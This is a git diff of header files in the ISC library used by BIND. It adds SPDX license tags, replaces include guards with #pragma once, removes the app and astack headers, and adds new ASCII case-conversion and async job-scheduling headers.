diff --git a/lib/isc/include/isc/aes.h b/lib/isc/include/isc/aes.h
index 42b6ab12e1..9657494626 100644
--- a/lib/isc/include/isc/aes.h
+++ b/lib/isc/include/isc/aes.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,11 +13,9 @@
 
 /*! \file isc/aes.h */
 
-#ifndef ISC_AES_H
-#define ISC_AES_H 1
+#pragma once
 
 #include <isc/lang.h>
-#include <isc/platform.h>
 #include <isc/types.h>
 
 #define ISC_AES128_KEYLENGTH 16U
@@ -38,5 +38,3 @@ isc_aes256_crypt(const unsigned char *key, const unsigned char *in,
 		 unsigned char *out);
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_AES_H */
diff --git a/lib/isc/include/isc/align.h b/lib/isc/include/isc/align.h
index d9e04723f4..7b72e9d83f 100644
--- a/lib/isc/include/isc/align.h
+++ b/lib/isc/include/isc/align.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/include/isc/app.h b/lib/isc/include/isc/app.h
deleted file mode 100644
index 4d43fcffe2..0000000000
--- a/lib/isc/include/isc/app.h
+++ /dev/null
@@ -1,281 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_APP_H
-#define ISC_APP_H 1
-
-/*****
-***** Module Info
-*****/
-
-/*! \file isc/app.h
- * \brief ISC Application Support
- *
- * Dealing with program termination can be difficult, especially in a
- * multithreaded program.  The routines in this module help coordinate
- * the shutdown process.  They are used as follows by the initial (main)
- * thread of the application:
- *
- *\li		isc_app_start();	Call very early in main(), before
- *					any other threads have been created.
- *
- *\li		isc_app_run();		This will post any on-run events,
- *					and then block until application
- *					shutdown is requested.  A shutdown
- *					request is made by calling
- *					isc_app_shutdown(), or by sending
- *					SIGINT or SIGTERM to the process.
- *					After isc_app_run() returns, the
- *					application should shutdown itself.
- *
- *\li		isc_app_finish();	Call very late in main().
- *
- * Applications that want to use SIGHUP/isc_app_reload() to trigger reloading
- * should check the result of isc_app_run() and call the reload routine if
- * the result is ISC_R_RELOAD.  They should then call isc_app_run() again
- * to resume waiting for reload or termination.
- *
- * Use of this module is not required.  In particular, isc_app_start() is
- * NOT an ISC library initialization routine.
- *
- * This module also supports per-thread 'application contexts'.  With this
- * mode, a thread-based application will have a separate context, in which
- * it uses other ISC library services such as tasks or timers.  Signals are
- * not caught in this mode, so that the application can handle the signals
- * in its preferred way.
- *
- * \li MP:
- *	Clients must ensure that isc_app_start(), isc_app_run(), and
- *	isc_app_finish() are called at most once.  isc_app_shutdown()
- *	is safe to use by any thread (provided isc_app_start() has been
- *	called previously).
- *
- *	The same note applies to isc_app_ctxXXX() functions, but in this case
- *	it's a per-thread restriction.  For example, a thread with an
- *	application context must ensure that isc_app_ctxstart() with the
- *	context is called at most once.
- *
- * \li Reliability:
- *	No anticipated impact.
- *
- * \li Resources:
- *	None.
- *
- * \li Security:
- *	No anticipated impact.
- *
- * \li Standards:
- *	None.
- */
-
-#include <stdbool.h>
-
-#include <isc/eventclass.h>
-#include <isc/lang.h>
-#include <isc/magic.h>
-#include <isc/result.h>
-
-/***
- *** Types
- ***/
-
-typedef isc_event_t isc_appevent_t;
-
-#define ISC_APPEVENT_FIRSTEVENT (ISC_EVENTCLASS_APP + 0)
-#define ISC_APPEVENT_SHUTDOWN	(ISC_EVENTCLASS_APP + 1)
-#define ISC_APPEVENT_LASTEVENT	(ISC_EVENTCLASS_APP + 65535)
-
-ISC_LANG_BEGINDECLS
-
-isc_result_t
-isc_app_ctxstart(isc_appctx_t *ctx);
-
-isc_result_t
-isc_app_start(void);
-/*!<
- * \brief Start an ISC library application.
- *
- * Notes:
- *	This call should be made before any other ISC library call, and as
- *	close to the beginning of the application as possible.
- *
- * Requires:
- *\li	'ctx' is a valid application context (for app_ctxstart()).
- */
-
-isc_result_t
-isc_app_ctxonrun(isc_appctx_t *ctx, isc_mem_t *mctx, isc_task_t *task,
-		 isc_taskaction_t action, void *arg);
-isc_result_t
-isc_app_onrun(isc_mem_t *mctx, isc_task_t *task, isc_taskaction_t action,
-	      void *arg);
-/*!<
- * \brief Request delivery of an event when the application is run.
- *
- * Requires:
- *\li	isc_app_start() has been called.
- *\li	'ctx' is a valid application context (for app_ctxonrun()).
- *
- * Returns:
- *	ISC_R_SUCCESS
- *	ISC_R_NOMEMORY
- */
-
-isc_result_t
-isc_app_ctxrun(isc_appctx_t *ctx);
-
-isc_result_t
-isc_app_run(void);
-/*!<
- * \brief Run an ISC library application.
- *
- * Notes:
- *\li	The caller (typically the initial thread of an application) will
- *	block until shutdown is requested.  When the call returns, the
- *	caller should start shutting down the application.
- *
- * Requires:
- *\li	isc_app_[ctx]start() has been called.
- *
- * Ensures:
- *\li	Any events requested via isc_app_onrun() will have been posted (in
- *	FIFO order) before isc_app_run() blocks.
- *\li	'ctx' is a valid application context (for app_ctxrun()).
- *
- * Returns:
- *\li	ISC_R_SUCCESS			Shutdown has been requested.
- *\li	ISC_R_RELOAD			Reload has been requested.
- */
-
-bool
-isc_app_isrunning(void);
-/*!<
- * \brief Return if the ISC library application is running.
- *
- * Returns:
- *\li	true    App is running.
- *\li	false   App is not running.
- */
-
-void
-isc_app_ctxshutdown(isc_appctx_t *ctx);
-
-void
-isc_app_shutdown(void);
-/*!<
- * \brief Request application shutdown.
- *
- * Notes:
- *\li	It is safe to call isc_app_shutdown() multiple times.  Shutdown will
- *	only be triggered once.
- *
- * Requires:
- *\li	isc_app_[ctx]run() has been called.
- *\li	'ctx' is a valid application context (for app_ctxshutdown()).
- *
- * Returns:
- *\li	ISC_R_SUCCESS
- *\li	ISC_R_UNEXPECTED
- */
-
-void
-isc_app_ctxsuspend(isc_appctx_t *ctx);
-/*!<
- * \brief This has the same behavior as isc_app_ctxsuspend().
- */
-
-void
-isc_app_reload(void);
-/*!<
- * \brief Request application reload.
- *
- * Requires:
- *\li	isc_app_run() has been called.
- *
- * Returns:
- *\li	ISC_R_SUCCESS
- *\li	ISC_R_UNEXPECTED
- */
-
-void
-isc_app_ctxfinish(isc_appctx_t *ctx);
-
-void
-isc_app_finish(void);
-/*!<
- * \brief Finish an ISC library application.
- *
- * Notes:
- *\li	This call should be made at or near the end of main().
- *
- * Requires:
- *\li	isc_app_start() has been called.
- *\li	'ctx' is a valid application context (for app_ctxfinish()).
- *
- * Ensures:
- *\li	Any resources allocated by isc_app_start() have been released.
- */
-
-void
-isc_app_block(void);
-/*!<
- * \brief Indicate that a blocking operation will be performed.
- *
- * Notes:
- *\li	If a blocking operation is in process, a call to isc_app_shutdown()
- *	or an external signal will abort the program, rather than allowing
- *	clean shutdown.  This is primarily useful for reading user input.
- *
- * Requires:
- * \li	isc_app_start() has been called.
- * \li	No other blocking operations are in progress.
- */
-
-void
-isc_app_unblock(void);
-/*!<
- * \brief Indicate that a blocking operation is complete.
- *
- * Notes:
- * \li	When a blocking operation has completed, return the program to a
- * 	state where a call to isc_app_shutdown() or an external signal will
- * 	shutdown normally.
- *
- * Requires:
- * \li	isc_app_start() has been called.
- * \li	isc_app_block() has been called by the same thread.
- */
-
-isc_result_t
-isc_appctx_create(isc_mem_t *mctx, isc_appctx_t **ctxp);
-/*!<
- * \brief Create an application context.
- *
- * Requires:
- *\li	'mctx' is a valid memory context.
- *\li	'ctxp' != NULL && *ctxp == NULL.
- */
-
-void
-isc_appctx_destroy(isc_appctx_t **ctxp);
-/*!<
- * \brief Destroy an application context.
- *
- * Requires:
- *\li	'*ctxp' is a valid application context.
- *
- * Ensures:
- *\li	*ctxp == NULL.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISC_APP_H */
diff --git a/lib/isc/include/isc/ascii.h b/lib/isc/include/isc/ascii.h
new file mode 100644
index 0000000000..7ba411c4a0
--- /dev/null
+++ b/lib/isc/include/isc/ascii.h
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <string.h>
+
+#include <isc/endian.h>
+
+/*
+ * ASCII case conversion
+ */
+extern const uint8_t isc__ascii_tolower[256];
+extern const uint8_t isc__ascii_toupper[256];
+
+/*
+ * Wrappers so we don't have to cast all over the place like <ctype.h>
+ */
+#define isc_ascii_tolower(c) isc__ascii_tolower[(uint8_t)(c)]
+#define isc_ascii_toupper(c) isc__ascii_toupper[(uint8_t)(c)]
+
+/*
+ * A variant tolower() implementation with no memory accesses,
+ * for use when the compiler is able to autovectorize.
+ */
+static inline uint8_t
+isc__ascii_tolower1(uint8_t c) {
+	return (c + ('a' - 'A') * ('A' <= c && c <= 'Z'));
+}
+
+/*
+ * Copy `len` bytes from `src` to `dst`, converting to lower case.
+ */
+static inline void
+isc_ascii_lowercopy(uint8_t *dst, const uint8_t *src, unsigned int len) {
+	while (len-- > 0) {
+		*dst++ = isc__ascii_tolower1(*src++);
+	}
+}
+
+/*
+ * Convert a string to lower case in place
+ */
+static inline void
+isc_ascii_strtolower(char *str) {
+	isc_ascii_lowercopy((uint8_t *)str, (uint8_t *)str,
+			    (unsigned int)strlen(str));
+}
+
+/*
+ * Convert 8 bytes to lower case, using SWAR tricks (SIMD within a register).
+ * Based on "Hacker's Delight" by Henry S. Warren, "searching for a value in a
+ * given range", p. 95. Eight bytes is wider than many labels in DNS names, so
+ * it does not seem worth dealing with the portability issues of wide vector
+ * registers. If there was a vector string load instruction (analogous to
+ * memove() below) the balance might be different.
+ */
+static inline uint64_t
+isc_ascii_tolower8(uint64_t octets) {
+	/*
+	 * Multiply a single-byte constant by `all_bytes` to replicate
+	 * it to all eight bytes in a word.
+	 */
+	uint64_t all_bytes = 0x0101010101010101;
+	/*
+	 * Clear the top bit of each byte to make space for a per-byte flag.
+	 */
+	uint64_t heptets = octets & (0x7F * all_bytes);
+	/*
+	 * We will need to avoid going wrong if our flag bits were originally
+	 * set, and clear calculation leftovers in our non-flag bits
+	 */
+	uint64_t is_ascii = ~octets & (0x80 * all_bytes);
+	/*
+	 * To compare a heptet to `N`, we can add `0x7F - N` so that carry
+	 * propagation will set the flag when our heptet is greater than `N`
+	 */
+	uint64_t is_gt_Z = heptets + (0x7F - 'Z') * all_bytes;
+	/*
+	 * Add one for greater-than-or-equal comparison
+	 */
+	uint64_t is_ge_A = heptets + (0x80 - 'A') * all_bytes;
+	/*
+	 * Now we have what we need to identify the ascii uppercase bytes
+	 */
+	uint64_t is_upper = (is_ge_A ^ is_gt_Z) & is_ascii;
+	/*
+	 * Move the is_upper flag bits to bit 0x20 (which is 'a' - 'A')
+	 * and use them to adjust each byte as required
+	 */
+	return (octets | (is_upper >> 2));
+}
+
+/*
+ * Same, but 4 bytes at a time, used by isc_halfsiphash24()
+ */
+static inline uint32_t
+isc_ascii_tolower4(uint32_t octets) {
+	uint32_t all_bytes = 0x01010101;
+	uint32_t heptets = octets & (0x7F * all_bytes);
+	uint32_t is_ascii = ~octets & (0x80 * all_bytes);
+	uint32_t is_gt_Z = heptets + (0x7F - 'Z') * all_bytes;
+	uint32_t is_ge_A = heptets + (0x80 - 'A') * all_bytes;
+	uint32_t is_upper = (is_ge_A ^ is_gt_Z) & is_ascii;
+	return (octets | (is_upper >> 2));
+}
+
+/*
+ * Helper function to do an unaligned load of 8 bytes in host byte order
+ */
+static inline uint64_t
+isc__ascii_load8(const uint8_t *ptr) {
+	uint64_t bytes = 0;
+	memmove(&bytes, ptr, sizeof(bytes));
+	return (bytes);
+}
+
+/*
+ * Compare `len` bytes at `a` and `b` for case-insensitive equality
+ */
+static inline bool
+isc_ascii_lowerequal(const uint8_t *a, const uint8_t *b, unsigned int len) {
+	uint64_t a8 = 0, b8 = 0;
+	while (len >= 8) {
+		a8 = isc_ascii_tolower8(isc__ascii_load8(a));
+		b8 = isc_ascii_tolower8(isc__ascii_load8(b));
+		if (a8 != b8) {
+			return (false);
+		}
+		len -= 8;
+		a += 8;
+		b += 8;
+	}
+	while (len-- > 0) {
+		if (isc_ascii_tolower(*a++) != isc_ascii_tolower(*b++)) {
+			return (false);
+		}
+	}
+	return (true);
+}
+
+/*
+ * Compare `len` bytes at `a` and `b` for case-insensitive order.
+ * Unlike the previous functions (which do not need to care about byte
+ * order) here we need to ensure the comparisons are lexicographic,
+ * i.e. they treat the strings as big-endian numbers.
+ */
+static inline int
+isc_ascii_lowercmp(const uint8_t *a, const uint8_t *b, unsigned int len) {
+	uint64_t a8 = 0, b8 = 0;
+	while (len >= 8) {
+		a8 = isc_ascii_tolower8(htobe64(isc__ascii_load8(a)));
+		b8 = isc_ascii_tolower8(htobe64(isc__ascii_load8(b)));
+		if (a8 != b8) {
+			goto ret;
+		}
+		len -= 8;
+		a += 8;
+		b += 8;
+	}
+	while (len-- > 0) {
+		a8 = isc_ascii_tolower(*a++);
+		b8 = isc_ascii_tolower(*b++);
+		if (a8 != b8) {
+			goto ret;
+		}
+	}
+ret:
+	if (a8 < b8) {
+		return (-1);
+	}
+	if (a8 > b8) {
+		return (+1);
+	}
+	return (0);
+}
diff --git a/lib/isc/include/isc/assertions.h b/lib/isc/include/isc/assertions.h
index 8afac643b2..7eafa16011 100644
--- a/lib/isc/include/isc/assertions.h
+++ b/lib/isc/include/isc/assertions.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,8 +18,6 @@
 
 #include <isc/attributes.h>
 #include <isc/lang.h>
-#include <isc/likely.h>
-#include <isc/platform.h>
 
 ISC_LANG_BEGINDECLS
 
@@ -33,8 +33,7 @@ typedef void (*isc_assertioncallback_t)(const char *, int, isc_assertiontype_t,
 					const char *);
 
 /* coverity[+kill] */
-ISC_NORETURN
-void
+noreturn void
 isc_assertion_failed(const char *, int, isc_assertiontype_t, const char *);
 
 void isc_assertion_setcallback(isc_assertioncallback_t);
@@ -43,27 +42,32 @@ const char *
 isc_assertion_typetotext(isc_assertiontype_t type);
 
 #define ISC_REQUIRE(cond)                                                  \
-	((void)(ISC_LIKELY(cond) ||                                        \
+	((void)((cond) ||                                                  \
 		((isc_assertion_failed)(__FILE__, __LINE__,                \
 					isc_assertiontype_require, #cond), \
 		 0)))
 
 #define ISC_ENSURE(cond)                                                  \
-	((void)(ISC_LIKELY(cond) ||                                       \
+	((void)((cond) ||                                                 \
 		((isc_assertion_failed)(__FILE__, __LINE__,               \
 					isc_assertiontype_ensure, #cond), \
 		 0)))
 
 #define ISC_INSIST(cond)                                                  \
-	((void)(ISC_LIKELY(cond) ||                                       \
+	((void)((cond) ||                                                 \
 		((isc_assertion_failed)(__FILE__, __LINE__,               \
 					isc_assertiontype_insist, #cond), \
 		 0)))
 
 #define ISC_INVARIANT(cond)                                                  \
-	((void)(ISC_LIKELY(cond) ||                                          \
+	((void)((cond) ||                                                    \
 		((isc_assertion_failed)(__FILE__, __LINE__,                  \
 					isc_assertiontype_invariant, #cond), \
 		 0)))
 
+#define ISC_UNREACHABLE()                                                   \
+	(isc_assertion_failed(__FILE__, __LINE__, isc_assertiontype_insist, \
+			      "unreachable"),                               \
+	 __builtin_unreachable())
+
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/astack.h b/lib/isc/include/isc/astack.h
deleted file mode 100644
index c85fee64d1..0000000000
--- a/lib/isc/include/isc/astack.h
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <inttypes.h>
-
-#include <isc/mem.h>
-#include <isc/types.h>
-
-isc_astack_t *
-isc_astack_new(isc_mem_t *mctx, size_t size);
-/*%<
- * Allocate and initialize a new array stack of size 'size'.
- */
-
-void
-isc_astack_destroy(isc_astack_t *stack);
-/*%<
- * Free an array stack 'stack'.
- *
- * Requires:
- * \li	'stack' is empty.
- */
-
-bool
-isc_astack_trypush(isc_astack_t *stack, void *obj);
-/*%<
- * Try to push 'obj' onto array stack 'astack'. On failure, either
- * because the stack size limit has been reached or because another
- * thread has already changed the stack pointer, return 'false'.
- */
-
-void *
-isc_astack_pop(isc_astack_t *stack);
-/*%<
- * Pop an object off of array stack 'stack'. If the stack is empty,
- * return NULL.
- */
diff --git a/lib/isc/include/isc/async.h b/lib/isc/include/isc/async.h
new file mode 100644
index 0000000000..c3785fa0f7
--- /dev/null
+++ b/lib/isc/include/isc/async.h
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file isc/async.h
+ * \brief The isc_async unit provides a way to schedule jobs on any isc
+ * event loop (isc_loop unit)
+ *
+ * The unit is built around the uv_async_t primitive and lock-free stack with
+ * isc_job_cb.  Jobs are first scheduled onto the locked list, then the
+ * uv_async_send() is called and the uv_async_t callback processes the enqueued
+ * jobs are scheduled to be run on the isc event loop.
+ */
+
+#pragma once
+
+#include <inttypes.h>
+
+#include <isc/job.h>
+#include <isc/lang.h>
+#include <isc/loop.h>
+#include <isc/mem.h>
+#include <isc/types.h>
+
+ISC_LANG_BEGINDECLS
+
+void
+isc_async_run(isc_loop_t *loop, isc_job_cb cb, void *cbarg);
+/*%<
+ * Schedule the job callback 'cb' to be run on the 'loop' event loop.
+ *
+ * Requires:
+ *
+ *\li	'loop' is a valid isc event loop
+ *\li	'cb' is a callback function, must be non-NULL
+ *\li	'cbarg' is passed to the 'cb' as the only argument, may be NULL
+ */
+
+#define isc_async_current(loopmgr, cb, cbarg) \
+	isc_async_run(isc_loop_current(loopmgr), cb, cbarg)
+/*%<
+ * Helper macro to run the job on the current loop
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/atomic.h b/lib/isc/include/isc/atomic.h
index 0d95e58990..e39e07880b 100644
--- a/lib/isc/include/isc/atomic.h
+++ b/lib/isc/include/isc/atomic.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,15 +13,9 @@
 
 #pragma once
 
-#ifdef ISC_MUTEX_ATOMICS
-#include <isc/mutexatomic.h>
-#else /* ifdef ISC_MUTEX_ATOMICS */
-#if HAVE_STDATOMIC_H
 #include <stdatomic.h>
-#else /* if HAVE_STDATOMIC_H */
-#include <isc/stdatomic.h>
-#endif /* if HAVE_STDATOMIC_H */
-#endif /* ifdef ISC_MUTEX_ATOMICS */
+
+#include <isc/util.h>
 
 /*
  * We define a few additional macros to make things easier
@@ -46,9 +42,6 @@
 #define atomic_compare_exchange_strong_relaxed(o, e, d) \
 	atomic_compare_exchange_strong_explicit(        \
 		(o), (e), (d), memory_order_relaxed, memory_order_relaxed)
-#define atomic_compare_exchange_strong_acq_rel(o, e, d) \
-	atomic_compare_exchange_strong_explicit(        \
-		(o), (e), (d), memory_order_acq_rel, memory_order_acquire)
 
 /* Acquire-Release Memory Ordering */
 
@@ -63,6 +56,8 @@
 	atomic_fetch_and_explicit((o), (v), memory_order_release)
 #define atomic_fetch_or_release(o, v) \
 	atomic_fetch_or_explicit((o), (v), memory_order_release)
+#define atomic_exchange_acquire(o, v) \
+	atomic_exchange_explicit((o), (v), memory_order_acquire)
 #define atomic_exchange_acq_rel(o, v) \
 	atomic_exchange_explicit((o), (v), memory_order_acq_rel)
 #define atomic_fetch_sub_acq_rel(o, v) \
@@ -73,3 +68,10 @@
 #define atomic_compare_exchange_strong_acq_rel(o, e, d) \
 	atomic_compare_exchange_strong_explicit(        \
 		(o), (e), (d), memory_order_acq_rel, memory_order_acquire)
+
+/* compare/exchange that MUST succeed */
+#define atomic_compare_exchange_enforced(o, e, d) \
+	RUNTIME_CHECK(atomic_compare_exchange_strong((o), (e), (d)))
+
+/* more comfortable atomic pointer declarations */
+#define atomic_ptr(type) _Atomic(type *)
diff --git a/lib/isc/include/isc/attributes.h b/lib/isc/include/isc/attributes.h
index 330e7d753c..edb50ed826 100644
--- a/lib/isc/include/isc/attributes.h
+++ b/lib/isc/include/isc/attributes.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,10 +13,20 @@
 
 #pragma once
 
-#if HAVE_FUNC_ATTRIBUTE_NORETURN
-#define ISC_NORETURN __attribute__((noreturn))
+/***
+ *** Clang Compatibility Macros
+ ***/
+
+#if !defined(__has_c_attribute)
+#define __has_c_attribute(x) 0
+#endif /* if !defined(__has_c_attribute) */
+
+#ifdef HAVE_STDNORETURN_H
+#include <stdnoreturn.h>
+#elif HAVE_FUNC_ATTRIBUTE_NORETURN
+#define noreturn __attribute__((noreturn))
 #else
-#define ISC_NORETURN
+#define noreturn
 #endif
 
 #if HAVE_FUNC_ATTRIBUTE_RETURNS_NONNULL
@@ -76,3 +88,19 @@
 #define ISC_ATTR_MALLOC_DEALLOCATOR(deallocator)
 #define ISC_ATTR_MALLOC_DEALLOCATOR_IDX(deallocator, idx)
 #endif /* HAVE_FUNC_ATTRIBUTE_MALLOC */
+
+#if __has_c_attribute(fallthrough)
+#define FALLTHROUGH [[fallthrough]]
+#elif __GNUC__ >= 7 && !defined(__clang__)
+#define FALLTHROUGH __attribute__((fallthrough))
+#else
+/* clang-format off */
+#define FALLTHROUGH do {} while (0) /* FALLTHROUGH */
+/* clang-format on */
+#endif
+
+#if __has_c_attribute(maybe_unused)
+#define ISC_ATTR_UNUSED [[maybe_unused]]
+#else
+#define ISC_ATTR_UNUSED __attribute__((__unused__))
+#endif
diff --git a/lib/isc/include/isc/backtrace.h b/lib/isc/include/isc/backtrace.h
index 224347fc8b..7605b6f967 100644
--- a/lib/isc/include/isc/backtrace.h
+++ b/lib/isc/include/isc/backtrace.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -32,6 +34,13 @@
  ***/
 #include <isc/types.h>
 
+/*
+ * The maximum number of stack frames to dump on assertion failure.
+ */
+#ifndef ISC_BACKTRACE_MAXFRAME
+#define ISC_BACKTRACE_MAXFRAME 128
+#endif /* ifndef ISC_BACKTRACE_MAXFRAME */
+
 /***
  *** Functions
  ***/
@@ -70,7 +79,6 @@ isc_backtrace_symbols(void *const *buffer, int size);
  *
  * Notes:
  *
- *\li	On Windows, this is shim implementation using SymFromAddr()
  *\li	On systems with backtrace_symbols(), it's just a thin wrapper
  *\li	Otherwise, it returns NULL
  *\li	See platform NOTES for backtrace_symbols
@@ -96,4 +104,11 @@ isc_backtrace_symbols_fd(void *const *buffer, int size, int fd);
  *\li	See platform NOTES for backtrace_symbols_fd for caveats
  */
 
+void
+isc_backtrace_log(isc_log_t *lctx, isc_logcategory_t *category,
+		  isc_logmodule_t *module, int level);
+/*
+ * Write a backtrace to the log.
+ */
+
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/barrier.h b/lib/isc/include/isc/barrier.h
index fd92334d0d..c9a7f74e1f 100644
--- a/lib/isc/include/isc/barrier.h
+++ b/lib/isc/include/isc/barrier.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,25 +15,70 @@
 
 #include <isc/util.h>
 
-#if __SANITIZE_THREAD__
+#if HAVE_PTHREAD_BARRIER_INIT
 
 #include <pthread.h>
 
-#define isc_barrier_t pthread_barrier_t
+#if ISC_TRACK_PTHREADS_OBJECTS
+typedef pthread_barrier_t *isc_barrier_t;
+#else
+typedef pthread_barrier_t isc_barrier_t;
+#endif
+
+#define isc__barrier_init(bp, count)                                \
+	{                                                           \
+		int _ret = pthread_barrier_init(bp, NULL, count);   \
+		PTHREADS_RUNTIME_CHECK(pthread_barrier_init, _ret); \
+	}
 
-#define isc_barrier_init(barrier, count) \
-	pthread_barrier_init(barrier, NULL, count)
-#define isc_barrier_destroy(barrier) pthread_barrier_destroy(barrier)
-#define isc_barrier_wait(barrier)    pthread_barrier_wait(barrier)
+#define isc__barrier_wait(bp) pthread_barrier_wait(bp)
+
+#define isc__barrier_destroy(bp)                                       \
+	{                                                              \
+		int _ret = pthread_barrier_destroy(bp);                \
+		PTHREADS_RUNTIME_CHECK(pthread_barrier_destroy, _ret); \
+	}
 
 #else
 
 #include <uv.h>
 
-#define isc_barrier_t uv_barrier_t
+#if ISC_TRACK_PTHREADS_OBJECTS
+typedef uv_barrier_t *isc_barrier_t;
+#else
+typedef uv_barrier_t isc_barrier_t;
+#endif
+
+#define isc__barrier_init(bp, count)                     \
+	{                                                \
+		int _ret = uv_barrier_init(bp, count);   \
+		UV_RUNTIME_CHECK(uv_barrier_init, _ret); \
+	}
+
+#define isc__barrier_wait(bp) uv_barrier_wait(bp)
+
+#define isc__barrier_destroy(bp) uv_barrier_destroy(bp)
+
+#endif
+
+#if ISC_TRACK_PTHREADS_OBJECTS
+
+#define isc_barrier_init(bp, count)            \
+	{                                      \
+		*bp = malloc(sizeof(**bp));    \
+		isc__barrier_init(*bp, count); \
+	}
+#define isc_barrier_wait(bp) isc__barrier_wait(*bp)
+#define isc_barrier_destroy(bp)            \
+	{                                  \
+		isc__barrier_destroy(*bp); \
+		free(*bp);                 \
+	}
+
+#else /* ISC_TRACK_PTHREADS_OBJECTS */
 
-#define isc_barrier_init(barrier, count) uv_barrier_init(barrier, count)
-#define isc_barrier_destroy(barrier)	 uv_barrier_destroy(barrier)
-#define isc_barrier_wait(barrier)	 uv_barrier_wait(barrier)
+#define isc_barrier_init(bp, count) isc__barrier_init(bp, count)
+#define isc_barrier_wait(bp)	    isc__barrier_wait(bp)
+#define isc_barrier_destroy(bp)	    isc__barrier_destroy(bp)
 
-#endif /* __SANITIZE_THREAD__ */
+#endif /* ISC_TRACK_PTHREADS_OBJECTS */
diff --git a/lib/isc/include/isc/base32.h b/lib/isc/include/isc/base32.h
index 65d79cecb6..1faa6296ea 100644
--- a/lib/isc/include/isc/base32.h
+++ b/lib/isc/include/isc/base32.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_BASE32_H
-#define ISC_BASE32_H 1
+#pragma once
 
 /*! \file */
 
@@ -140,5 +141,3 @@ isc_base32hexnp_decoderegion(isc_region_t *source, isc_buffer_t *target);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_BASE32_H */
diff --git a/lib/isc/include/isc/base64.h b/lib/isc/include/isc/base64.h
index 313329ada3..b1bc0892df 100644
--- a/lib/isc/include/isc/base64.h
+++ b/lib/isc/include/isc/base64.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
